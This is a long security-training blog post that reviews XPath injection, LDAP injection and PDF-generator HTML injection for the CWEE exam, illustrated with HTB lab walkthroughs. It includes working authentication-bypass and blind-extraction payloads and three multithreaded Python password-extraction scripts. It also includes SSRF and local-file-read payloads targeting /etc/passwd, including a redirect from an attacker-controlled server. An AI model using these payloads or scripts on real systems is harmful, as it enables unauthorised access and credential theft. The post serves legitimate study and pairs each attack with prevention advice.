I am again making an applied review blog post series (and maybe video series) for the modules used to prepare for the CWEE exam. Each one will go over one of the modules from HTB Academy, then include some examples from vulnerable machines and CTF challenges.
Introduction#
Injection attacks have been in the OWASP top ten consistently in some form or another since 2003. Some of these are more commonly known like SQLi, XSS, and Command Injection - but you’ll find that most developers are aware of these and lots of common frameworks have countermeasures in place already. We will be covering some less-common vulnerabilities that can be exploited within environments with a higher baseline/minimum standard for security.
We will cover:
- XML Path Language Injection
- Lightweight Directory Access Protocol (LDAP) Injection
- HTML Injection in PDF Generation
XPath Injection#
XML Path Language is a query language for XML, we can use XPath to make queries for data stored in XML format. So if we are in control of some input being passed into XML queries, we might be able to find a vulnerability here. Let’s walk through an example:
<?xml version="1.0" encoding="UTF-8"?>
<bookstore>
<book>
<title lang="en">Harry Potter</title>
<author>J K. Rowling</author>
<year>2005</year>
<price>29.99</price>
<rating age="10+">10 and Older</rating>
</book>
<!-- this is a comment -->
</bookstore>
We begin with an XML declaration in the first line where we say what version and encoding we plan to use. The data is formatted in a tree structure with a root note (bookstore) and element nodes like book and year, then attribute nodes like lang and age. There are also comment, text nodes, namespace nodes, and processing instruction nodes.
These are in a tree structure, so each node has exactly one parent node, while each element node can have any number of child nodes. Nodes with the same parent are sibling nodes and you can traverse up to ancestor nodes or down with descendant nodes. These are just the terms for tree structures in general.
XPath Query Syntax#
We can now go over querying the nodes themselves. Queries are evaluated from a context node, which marks our starting point. Here are the ways we can use XPath queries to select nodes:
| Query | Description |
|---|---|
book | Select all the ‘book’ child nodes of the context node |
| / | Select the document’s root node |
| // | Select the descendant nodes of the context node |
| . | Select the context node |
| .. | Select the parent of the context node |
@lang | Select the lang attribute node of the context node |
text() | Select all text node child nodes of the context node |
We can use these to start making our queries:
| Query | Description |
|---|---|
/bookstore/book | Select all book child notes of the bookstore node. |
//book | Select all book nodes. |
/bookstore//author | Select all author nodes that are descendants of the bookstore node. |
/bookstore/book/rating/@age | Select the age attribute node of all rating element nodes within the specified path. |
//@age | Select all age attribute nodes. |
Predicates#
These filter the result from an XPath query, not unlike a WHERE clause in a SQL query. These are combined with [] characters:
| Query | Description |
|---|---|
/bookstore/book[1] | Select the first book child node of the bookstore node. |
/bookstore/book[position()<4] | Select the first three book child nodes of the bookstore node. |
../book/rating[@age="15"]/.. | Select all books where the rating has a age set to 15. |
I’ll leave you to looking at specific wildcards and operands, as they all appear pretty standard. Worst case you can refer to the specs or ask your favorite LLM to write a query for you and hopefully it understands.
XPath - Authentication Bypass#
Let us imagine how a web application might implement authentication using XPath queries. Well, first we think up how the data the app might be querying will look:
<users>
<user>
<name first="Gabe" last="Roy"/>
<id>11</id>
<username>gabe123</username>
<password>verygoodpassword</password>
</user>
<user>
<name first="Reed" last="Sanders"/>
<id>12</id>
<username>reedthebeast</username>
<password>ch1ck3n_s4laD-1ov3r!</password>
</user>
</users>
If the app is querying this document, the simplest way would be to do so like this:
/users/user[username/text()='gabe123' and password/text()='verygoodpassword']
If the app is just passing our input through to the query, that PHP might look like this:
$query = "/users/user[username/text()='" . $_POST['username'] . "' and password/text()='" . $_POST['password'] . "']";
$results = $xml->xpath($query);
Thinking back to our experience with SQLi, we just need this query to resolve to true. Inserting the following should work in the above case we’ve outlined:
' or '1'='1
This is because the resulting query would look like this:
/users/user[username/text()='' or '1'='1' and password/text()='' or '1'='1']
Each predicate for username and password evaluate to true and we would get logged in as the first user in the list (because the query returns all user element nodes). If you want to log in as a specific user just modify the username predicate to evaluate to that username:
/users/user[username/text()='admin' or '1'='1' and password/text()='whocares']
Keep in Mind#
Of course, in real life passwords stored in databases for later reference are (or at least should be - you’d hope) going to be hashed and salted. So that query might look more like this:
$query = "/users/user[username/text()='" . $_POST['username'] . "' and password/text()='" . md5($_POST['password']) . "']";
$results = $xml->xpath($query);
This password is being hashed before being inserted into the query, so using the last trick won’t work because we’d just be inputting the hash of the payload:
/users/user[username/text()='' or '1'='1' and password/text()='59725b2f19656a33b3eed406531fb474']
Assuming nobody is using our payload as their password, this query won’t return any nodes. If we don’t know a username either then we are stuck and need to come up with a new strategy. We can try injecting a double or clause in the username and make the query return true so that all user nodes are returned and we log in as the first user.
That payload would look like this:
' or true() or '
And within the XPath query it would look like this:
/users/user[username/text()='' or true() or '' and password/text()='59725...']
This will work, but only for the first user in the list. We can remedy this by specifying the position though:
/users/user[username/text()='' or position()=3 or '' and password/text()='59725...']
Or you could search for a user if you know their username:
/users/user[username/text()='' or contains(.,'admin') or '' and password/text()='59725...]
This query returns all user nodes that contain the string admin in any descendants. Since the username node is a child of the user node, this returns all users that contain the substring admin in the username.
XPath - Data Exfiltration#
Just like SQL, we can use this to exfiltrate data under the right circumstances. In SQL we just did this by making a query that returned more than it was initially intended to. Think of a search filter for hotel rooms or something, but you can break out of the query to make it return data from other tables. This is in concept not very different, the syntax is just different. Let’s look at this example application:

We can see that the q parameter is what we are using to search for and f is some filter that changes if we are using long or short street names. These street names in long and short format should both be node names so we know that the query looks something like this:
/w/x/y/[contains(z/text(), 'ALP')]/fullstreetname
We don’t know the depth of the schema at this point in time, but given it seems that a contains function is being used, we can guess that the XML document looks something like this:
<w>
<x>
<y>
<z>??something??</z>
<streetname>ALPINE</streetname>
<fullstreetname>ALPINE TER</fullstreetname>
</y>
</x>
</w>
We can confirm this by trying to inject an or clause in the query like this:
/w/x/y/[contains(z/text(), 'SOMETHINGINVALID') or ('1'='1')]/fullstreetname
Then if this evaluates to true, we have successfully injected some logic into the query:

To exfiltrate this data, we can use the | operator which acts like SQL’s UNION operator. Then we could add //text() to return all the text nodes in the document - which should contain all the text data in the document itself. The following payloads can be used to dump text records in this case:
GET /index.php?q=NOTAREALADDRESS&f=fullstreetname+|+//text() HTTP/1.1
GET /index.php?q=NOTAREALADDRESS')+or+('1'='1&f=/../..//text() HTTP/1.1
XPath - Advanced Data Exfiltration#
If we can’t extract the entire XML document at once, we will need to modify our payload to work within the constraints we have. Like in SQLi, in order to iterate through the schema we need to determine the schema depth. Just like last time we can use the | operator but now we try to specify the depth like so:
GET /index.php?q=NOTAREALADDRESS&f=fullstreetname+|+/*[1] HTTP/1.1
The response returns nothing, which makes sense as we need to continue adding to this depth until we see results. In my case it took four layers to see anything:

You’ll notice that if you change the last number from 1 to 2, the next field is the short street name instead of the full one. We can use this to exfiltrate information about other nodes within the XML document like so:

In this case we have a structure similar to this that we are querying:
<dataset>
<streets>
<street>
<fullstreetname>01ST ST</fullstreetname>
<streetname>01ST</streetname>
<street_type>ST</street_type>
</street>
</streets>
<users>
<group name="users">
<user>
<username>gabe</username>
<password>test</password>
</user>
</group>
<group name="finance">
<user>
<username>alex</username>
<password>password</password>
</user>
</group>
<group name="admins">
<user>
<username>admin</username>
<password>admin</password>
</user>
</group>
</users>
</dataset>
So in our above query we are looking at the second child (users), under the third group (admins), looking at the first node beneath that (user) and the first value (username). Then to get the data you want you just need to manipulate the place in the schema you are looking in.
XPath - Blind Exploitation#
Sometimes we won’t always be able to see the result of our queries, but there may be some indicator that our query was executed. This can be in the form of a different error message.
For example if we can perform the following request and get one error message:

But when we use a payload we observe a different response:

This indicates that we are in fact manipulating the query, but we can’t readily observe the results like we could previously. We should now be reminded of the painful process of parsing through every character in a table name, then a list of target users, and the corresponding passwords to dump them. Unfortunately for us there is no SQLMap-like tool for XPath Injection that I am aware of.
To get the name of a node:
username=gabeinvalid'+or+substring(name(/*[1]),2,1)='c'+and+'1'='1&msg=accounts
To get the name of a child of that node:
username=gabeinvalid'+or+substring(name(/accounts/*[1]),1,1)='a'+and+'1'='1&msg=accounts/acc
Getting names of the following child:
gabeinvalid'+or+substring(name(/accounts/acc/*[1]),8,1)='e'+and+'1'='1&msg=/accounts/acc/username
gabeinvalid'+or+substring(name(/accounts/acc/*[2]),8,1)='d'+and+'1'='1&msg=/accounts/acc/password
Querying the characters in the password:
username=gabeinvalid'+or+substring(/accounts/acc[1]/password,5,1)='b'+and+'1'='1&msg=/accounts/acc/password/char
This is possible with the Burp Intruder using a cluster bomb attack, but a python script is a bit more readable than trying to parse through the attack results. Here is what I used:
import requests
import concurrent.futures
import string
import sys
import time
# === CONFIG ===
url = 'http://YOUR_TARGET_IP/index.php'
max_length = 40
threads = 40
# Charset
charset = string.ascii_letters + string.digits + "{}[]()_!@#$%^&*-+=~"
headers = {
'Host': 'YOUR_TARGET_IP',
'Content-Type': 'application/x-www-form-urlencoded',
'Connection': 'keep-alive',
}
# ANSI colors
GREEN = "\033[92m"
YELLOW = "\033[93m"
CYAN = "\033[96m"
RESET = "\033[0m"
BOLD = "\033[1m"
# ANSI control
CLEAR_LINE = "\033[2K"
UP = "\033[1A"
spinner = ['|', '/', '-', '\\']
spinner_index = 0
def print_status(pos, prefix, suffix=""):
global spinner_index
spin = spinner[spinner_index % len(spinner)]
spinner_index += 1
sys.stdout.write(f"\r{CLEAR_LINE}{YELLOW}[{spin}] Position {pos}: {prefix}{RESET}{suffix}")
sys.stdout.flush()
def try_char(position, char):
payload = f"username=gabeinvalid'+or+substring(/accounts/acc[1]/password,{position},1)='{char}'+and+'1'='1&msg=/accounts/acc/password/char"
try:
response = requests.post(url, headers=headers, data=payload, timeout=5)
if 'Message successfully sent!' in response.text:
return char
except requests.RequestException:
pass
return None
def find_char_at_position(position, known_password):
with concurrent.futures.ThreadPoolExecutor(max_workers=threads) as executor:
futures = {executor.submit(try_char, position, c): c for c in charset}
while True:
done, _ = concurrent.futures.wait(futures, timeout=0.05, return_when=concurrent.futures.FIRST_COMPLETED)
print_status(position, known_password + spinner[spinner_index % len(spinner)])
for future in done:
result = future.result()
if result:
return result
if all(f.done() for f in futures):
break
return None
# === MAIN ===
password = ''
print(f"{CYAN}{BOLD}Starting blind XPath injection brute-force...{RESET}")
lines_printed = 1 # Tracks how many lines are on screen
for pos in range(1, max_length + 1):
ch = find_char_at_position(pos, password)
if ch:
password += ch
# Clear previous status
sys.stdout.write(f"\r{CLEAR_LINE}{UP}")
sys.stdout.write(f"\r{CLEAR_LINE}{GREEN}[✓] Position {pos}: {ch} → {password}{RESET}\n")
lines_printed = min(lines_printed + 1, 5) # Keep only last few lines
else:
sys.stdout.write(f"\r{CLEAR_LINE}{UP}")
sys.stdout.write(f"\r{YELLOW}[-] Stopped at position {pos}: No match found{RESET}\n")
break
# Clean up old lines
for _ in range(lines_printed):
sys.stdout.write(f"{UP}{CLEAR_LINE}")
print(f"{CYAN}Brute-force complete!{RESET}")
print(f"{GREEN}{BOLD}[✓] Final password: {password}{RESET}")

Of course you can also use xcat to automate some of this process of identifying and exploiting.
╰─ xcat detect http://172.17.0.2/index.php q q=BAR f=fullstreetname --true-string='!No Result'
function call - last string parameter - single quote
Example: /lib/something[function(?)]
Detected features:
xpath-2: False
xpath-3: False
xpath-3.1: False
normalize-space: True
substring-search: True
codepoint-search: False
environment-variables: False
document-uri: False
base-uri: False
current-datetime: False
unparsed-text: False
doc-function: False
linux: False
expath-file: False
saxon: False
oob-http: False
oob-entity-injection: False
We could use these features to exfiltrate more:
╰─ xcat run http://172.17.0.2/index.php username username=admin -m POST --true-string=successfully --encode FORM
<users>
<user>
<username>
kgrenvile
</username>
<password>
cf9f2931ea9c3deb33e4405b420c4c99
</password>
<desc>
Internal Test Account 1
</desc>
</user>
<SNIP>
</users>
HTB - E.Tree Challenge#
We are presented with a web page:

We can see in Burp suite that the initial indicators leading us to some kind of query language injection are here:

This challenge lets us view the source code after we download it which trivializes part of the challenge as we can understand the XML structure from that alone. We know that the /military/district/staff node contains name, age, rank, and kills. Where the nodes that should contain the flag have a selfDestructCode attribute.
We can check for the first character like so:
{"search":"Gabe' or substring(/military/district/staff/selfDestructCode,1,1)='H' and '1'='1"}
This returns true and we can start moving along until the next character:
{"search":"Gabe' or substring(/military/district/staff/selfDestructCode,2,1)='T' and '1'='1"}
To get the second half of the flag we need to query another staff member record though:
{"search":"Gabe' or substring(/military/district/staff[2]/selfDestructCode,1,1)='4' and '1'='1"}
I wrote a python script that can take an input file and success condition in order to brute-force the flag parts:
import sys, http.client
from urllib.parse import urlparse
from concurrent.futures import ThreadPoolExecutor, as_completed
def color(text, c): return f"\033[{c}m{text}\033[0m"
def send_request(ch, pos, body_template, headers, path, host_name, host_port, valid_check, method):
ch_escaped = ch.replace("'", "\\'")
payload = body_template.replace("$N$", str(pos)).replace("$C$", ch_escaped)
headers = headers.copy()
headers["Content-Length"] = str(len(payload))
try:
conn = http.client.HTTPConnection(host_name, int(host_port), timeout=5)
conn.request("POST", path, payload, headers)
res = conn.getresponse()
body = res.read().decode(errors="ignore")
conn.close()
except Exception:
return None, False, ch
match = (
(method == "length" and len(body) == int(valid_check)) or
(method == "status" and str(res.status) == valid_check) or
(method == "text" and valid_check in body)
)
return body, match, ch
def brute_xpath(request_file, valid_check, method="text", debug=False):
with open(request_file) as f:
raw = f.read()
newline = "\r\n" if "\r\n\r\n" in raw else "\n"
headers_raw, body_template = raw.split(f"{newline*2}", 1)
request_lines = headers_raw.splitlines()
method_type, path, _ = request_lines[0].split()
host_line = [l for l in request_lines if l.lower().startswith("host:")][0]
host = host_line.split(":", 1)[1].strip()
host_name, host_port = (host.split(":") + [80])[:2]
headers = {}
for line in request_lines[1:]:
if ": " in line:
k, v = line.split(": ", 1)
if k.lower() not in ["host", "content-length"]:
headers[k] = v
charset = (
"abcdefghijklmnopqrstuvwxyz"
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"0123456789"
" _-.:!@#$%^&*()+={}[]<>?/\\|\"'`,~"
)
found = ""
for pos in range(1, 100):
with ThreadPoolExecutor(max_workers=20) as executor:
futures = {
executor.submit(send_request, ch, pos, body_template, headers, path, host_name, host_port, valid_check, method): ch
for ch in charset
}
matched = False
for future in as_completed(futures):
body, match, ch = future.result()
if match:
found += ch
if debug:
print(f"\n{color('[✓]', '92')} MATCH: pos={pos} char='{ch}'")
print(color("→ Response snippet: ", "96") + (body[:250].replace("\n", "\\n") if body else "None"))
matched = True
break
print(f"\r{color('[*]', '94')} Extracting: {color(found, '92')}", end="", flush=True)
if not matched:
break
print(f"\n{color('[✓]', '92')} Final string: {found}")
if __name__ == "__main__":
if len(sys.argv) < 4 or len(sys.argv) > 5:
print("Usage: python3 brute_xpath.py <request_file> <check_value> <method: length|status|text> [--debug]")
sys.exit(1)
debug = "--debug" in sys.argv
args = [arg for arg in sys.argv[1:] if arg != "--debug"]
brute_xpath(args[0], args[1], args[2], debug)

XPath Injection Prevention#
Similar to SQL Injection, you should use prepared statements and sanitize user inputs that will make their way into any queries to make sure that user input can’t change or influence the queries being run.
LDAP Injection#
The Lightweight Directory Access Protocol (LDAP) is used to access directory servers like you would see used in AD. Web applications can use LDAP to integrate with AD for authentication or other data retrieval use cases. Of course, if user input is ever placed within these LDAP queries, there are chances at injection.
LDAP Terminology#
- Directory Server: This is the entity that stores data, similar to a database server. An example would be OpenLDAP.
- LDAP Entry: These hold the data for an entity in three components.
- Distinguished Name (DN): The UID for the entry that itself consists of multiple Relative Distinguished Names (RDNs). Each RDN is a key-value pair. An example would be
uid=admin, dc=somedomain, dc=com. - Attributes: This can be multiple different sets of values with their own types.
- Object Classes: attribute types related to a particular type of object - like
PersonorGroup.
- Distinguished Name (DN): The UID for the entry that itself consists of multiple Relative Distinguished Names (RDNs). Each RDN is a key-value pair. An example would be
LDAP also has actions that a client can initiate called operations:
- Bind: Client authentication with the server.
- Unbind: Close the client connection.
- Add, Delete, Modify: Different operations for adding, creating, and modifying entries.
- Search: Allows for searching for entries matching a query.
LDAP Search Query Syntax#
Queries in LDAP are called search filters and these are often depicted as multiple components within a set of parentheses. Each base component consists of an attribute, an operand, and a value to search for. Here is an example:
(&(name=gabe)(title=associate))
This query uses the & operand to match all entries that contain a name attribute with the value gabe and a title attribute with the value associate. There is a really handy cheat sheet here that you can use to get the ball rolling.
LDAP Authentication Bypass#
A search filter used to authenticate a user in a web application might look something like this:
(&(uid=gabe)(userPassword=verygoodpassword!23))
The actual attribute name being used will depend on those being used in the environment, so keep that in mind. For example we have a login page that submits the credentials like this in the POST body of a request:
username=gabe&password=goodpass
We can try to get the query to match all passwords like this:
username=gabe&password=*
Or we could try to match any user with admin in their name like this:
username=*admin*&password=*
If you aren’t able to use wildcard characters, you might be able to add a tricky filter with some additional or clauses, just make sure you aren’t interfering with the HTTP request syntax itself:
username=superadmin1337)(|(&&password=)
username=superadmin1337%29%28%7c%28%26&password=%29
LDAP Data Exfiltration#
If the web application displays some results to us, we can try to read information about other users
The process here isn’t much different from what we saw when doing blind XPath exfiltration. For example, if we are provided with a login page that we can inject into and want to try and gleam more details we can start by fuzzing the attribute names.

In this case we don’t actually get back any different results, but the response is different depending on if the attribute exists or not. I made a blog post using this technique for the machine Analysis from HTB. Once you have a list of attributes you can fuzz one character at a time like this:
username=admin)(|(description=h*&password=invalid)
In the above case, we see that h is the first character and you can use the server response to determine which characters are valid. In the intruder this would take a while to sort through the results so I made a script based off the XPath one from before to make this process a bit easier and much faster:
import requests
import string
import time
import sys
from concurrent.futures import ThreadPoolExecutor, as_completed
# === CONFIG ===
url = 'http://YOUR_TARGETIP/index.php'
session_cookie = 'YOUR_PHP_SESSION'
max_length = 40
charset = string.ascii_letters + string.digits + "{}[]()_!@#$%^&*-+=~"
success_indicator = 'Login successful'
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'Mozilla/5.0',
'Cookie': f'PHPSESSID={session_cookie}',
}
# === UTILS ===
def print_progress(pos, char, current):
# Basic colorized output using ANSI escape codes
color_code = '\033[32m' # Green color
reset_code = '\033[39m' # Reset to default color
sys.stdout.write(f"\r{color_code}[✓] Position {pos}: {char} → {current}{reset_code}")
sys.stdout.flush()
# === CORE FUNCTION ===
def test_char(position, candidate, known):
query = known + candidate
payload = f"username=admin)(|(description={query}*&password=invalid)"
try:
response = requests.post(url, headers=headers, data=payload, timeout=2) # Reduced timeout
if success_indicator in response.text:
return candidate # Return the successful character
return None
except requests.RequestException:
return None
def brute_force_description():
print("Starting blind LDAP injection brute-force...\n")
known = ''
with ThreadPoolExecutor(max_workers=30) as executor: # Create a thread pool
for pos in range(1, max_length + 1):
found = False
futures = []
for char in charset:
futures.append(executor.submit(test_char, pos, char, known)) # Submit tasks to the executor
for future in as_completed(futures):
char = future.result()
if char:
known += char
print_progress(pos, char, known)
found = True
break # Stop after finding the correct character
if not found:
break # Exit if no character was found for the current position
print("\n\n[✓] Extracted description:", known)
# === MAIN ===
if __name__ == "__main__":
brute_force_description()

HTB - Analysis#
We find an endpoint called internal.analysis.htb and then we observe the following endpoint.

Once we determine this is LDAP injection (through process of elimination or other means) and brute-force some attribute names:
GET /users/list.php?name=*)(cn=*

Then we can brute-force the description:
/users/list.php?name=technician)(description=9*
In this case, this LDAP is querying an AD environment, where admins sometimes write passwords in the description fields of accounts.
LDAP Injection Prevention#
Web developers are generally aware of other injection vulnerabilities but LDAP injection is a bit less common. First you would want to escape the (, ), *, \, and null byte characters to limit the user’s ability to inject into the query syntax. PHP has a function that does this for you called ldap_escape.
Now proper sanitization does mitigate this risk almost completely, you should also follow the best practices like ensuring that the account with bind privileges has the lowest amount of privileges that they need to perform that query. It also might be a better idea to use the bind operation with the credentials of the user making the query to delegate that authentication process to the DS. You’d also want to disable anonymous_bind so that only those authenticated users can query in the first place.
PDF Generation Vulnerabilities#
Lots of web applications may provide some kind of PDF generation tool for invoices or reports, these are usually implemented using a PDF generation library or plugin of some kind. These web applications usually need a way to customize the layout of the resulting PDF in some way, so these libraries often accept HTML as input and use it when generating the final PDF.
PDF Generation and Analysis Basics#
wkhtmltopdf is one tool that some sites may use to transform HTML into PDFs. You can observe here on their front page that they want all the users of their tool to ensure that proper sanitization of the input HTML is being done. This tool works by providing an input URL or HTML file and generating the output - we can practice briefly with an invoice here.

We can perform some basic analysis of the file using exiftool and pdftool, although the output is very similar between the two.
╰─ exiftool test.pdf
ExifTool Version Number : 12.40
File Name : test.pdf
Directory : .
File Size : 33 KiB
File Modification Date/Time : 2025:04:19 17:18:58-05:00
File Access Date/Time : 2025:04:19 17:18:58-05:00
File Inode Change Date/Time : 2025:04:19 17:18:58-05:00
File Permissions : -rw-r--r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Title : A simple, clean, and responsive HTML invoice template
Creator : wkhtmltopdf 0.12.6.1
Producer : Qt 4.8.7
Create Date : 2025:04:19 17:18:58-05:00
Page Count : 1
Page Mode : UseOutlines
╰─ pdfinfo test.pdf
Title: A simple, clean, and responsive HTML invoice template
Creator: wkhtmltopdf 0.12.6.1
Producer: Qt 4.8.7
CreationDate: Sat Apr 19 17:18:58 2025 CDT
Custom Metadata: no
Metadata Stream: no
Tagged: no
UserProperties: no
Suspects: no
Form: none
JavaScript: no
Pages: 1
Encrypted: no
Page size: 595 x 842 pts (A4)
Page rot: 0
File size: 34225 bytes
Optimized: no
PDF version: 1.4
Exploitation of PDF Generation Vulnerabilities#
Given that we are mostly concerned with how HTML is being turned into a PDF, we will look for JavaScript execution where possible. Now the logic in the HTML page will be executed in the context of the server running the PDF generation tool - so this is server-side XSS if that makes sense. The example we are presented with in the module has us input some text and then we can use the PDF generation to print the resulting HTML - we can attempt to just pass in some JavaScript like so:
<script>document.write(window.location)</script>
This should reveal the path where the PDF file is stored.
We can also try and get the service to send HTTP requests:
<img src="http://your-server/ssrftest1"/>
<link rel="stylesheet" href="http://your-server/ssrftest2" >
<iframe src="http://your-server/ssrftest3"></iframe>
These should send an HTTP request when the PDF is generated.
If the contents of your site are readily visible in the iframe, you can turn this into SSRF instead of shooting blind and we can try to enumerate other ports and such.
<iframe src="http://127.0.0.1:8080/" width="800" height="500"></iframe>

If we look a little further we can find a reference to a text file, but loading it this way won’t work and we need to try and leverage the JavaScript execution to read files.
<script>
x = new XMLHttpRequest();
x.onload = function(){
document.write(this.responseText)
};
x.open("GET", "file:///etc/passwd");
x.send();
</script>
If this causes issues when the PDF is generated (like all the contents being in a single line) we can use the
btoafunction and line breaks to improve our chances.
<script>
function addNewlines(str) {
var result = '';
while (str.length > 0) {
result += str.substring(0, 100) + '\n';
str = str.substring(100);
}
return result;
}
x = new XMLHttpRequest();
x.onload = function(){
document.write(addNewlines(btoa(this.responseText)))
};
x.open("GET", "file:///etc/passwd");
x.send();
</script>
If you can’t get JS execution you may want to just try the LFI itself:
<iframe src="file:///etc/passwd" width="800" height="500"></iframe>
<object data="file:///etc/passwd" width="800" height="500">
<portal src="file:///etc/passwd" width="800" height="500">
If these tricks also don’t work - you might need to add some PHP to the web server you control that will redirect to the file you want to read, thus making the web server read that local file:
<?php header('Location: file://' . $_GET['url']); ?>
On your server
<iframe src="http://your-server/redirect.php?url=%2fetc%2fpasswd" width="800" height="500"></iframe>
Some PDF libraries support annotations and you could try to append a file like so:
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="LFI" />
You also might see libraries that support attachments like this:
<pd4ml:attachment src="/etc/passwd" description="LFI" icon="Paperclip"/>
HTB - Stocker#
This site has a section where after we submit an order and then view the resulting PDF:


We can execute JS within an iframe and the result is in the PDF.


Preventing PDF Generation Issues#
Usually this happens because the default configuration of these PDF generation libraries are not secure out of the box. You’d want to look through the documentation of the affected library in use and recommend the relevant settings to be configured. Of course these all stem from user input not being sanitized and you can mitigate that by disallowing HTML tags in the user input and HTML-entity encoding the user inputs. At the very least you want to make sure:
- JS is not being executed under any circumstances.
- Access to local files isn’t allowed.
- Access to external resources is limited if not completely disallowed.